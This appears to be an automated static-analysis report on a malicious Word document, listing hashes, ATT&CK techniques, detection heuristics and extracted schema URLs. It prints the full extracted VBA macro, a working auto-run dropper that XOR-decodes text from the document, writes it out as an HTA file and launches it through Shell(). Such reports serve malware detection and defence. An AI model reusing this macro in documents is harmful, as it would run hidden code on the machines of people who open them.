Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8d026b7a2435885f…

MALICIOUS

Office (OOXML)

49.3 KB Created: 2021-06-14 11:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: e37a146fad425c74223e9d7910b60b40 SHA-1: 15d710c71e40792bd8bbe6fb70e2c217021a3951 SHA-256: 8d026b7a2435885f963166d30d5ac665f96f09c39ee6198883745ee7a3b95ebf
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The AutoOpen macro triggers a Shell() call which executes a command. This command appears to be constructing a path to download a second-stage payload. The VBA code uses XOR obfuscation on strings, which is a common technique for evading detection.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1256 bytes
SHA-256: 3f56614256203593efda8b08ee2709b7a24ea82c1dba8b579803c69e73b63a4c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "vbLength"
Function referenceFuncVar()
referenceFuncVar = Shell(singleLibrary("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "nextZeroL"
Sub autoopen()
intMem
lngGlob = referenceFuncVar
End Sub
Function singleLibrary(arraySnglDate, Optional optionTemplateCls = "c:\program", Optional setSetConv = "a")
singleLibrary = lPtrPaste(arraySnglDate & optionTemplateCls & "data\repoSingle.ht" & setSetConv)
End Function
Function collectOptionLibs(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
collectOptionLibs = out
End Function
Function lPtrPaste(lngGlob)
lPtrPaste = Trim(lngGlob)
End Function

Attribute VB_Name = "lngQuerySel"
Sub intMem()
Open singleLibrary("") For Output As #1
Print #1, exceptionVal
Close #1
End Sub
Function exceptionVal()
exceptionVal = collectOptionLibs(Split(ActiveDocument.Range.Text, "-"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 67d999b9b7cf54b38157e8dd45a793a4744796fdfacc88c36a6191da1ce45260

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